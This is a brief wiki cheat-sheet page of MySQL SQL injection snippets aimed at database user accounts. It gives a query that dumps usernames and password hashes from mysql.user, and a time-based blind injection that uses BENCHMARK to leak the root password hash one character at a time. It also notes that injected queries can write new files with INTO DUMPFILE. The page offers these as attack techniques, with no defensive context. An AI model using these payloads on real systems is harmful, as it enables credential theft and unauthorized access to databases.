User Tools

Site Tools


hacking:sql_injection:mysql:users

This is an old revision of the document!


Hacking - SQL Injection - MySQL - Users

SELECT USER,Password FROM mysql.user;
 
SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) USER,Password FROM mysql.user WHERE USER = 'root';

Write query into a new file (can not modify existing files):

SELECT ... INTO DUMPFILE
hacking/sql_injection/mysql/users.1587078211.txt.gz · Last modified: 2020/07/15 09:30 (external edit)

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki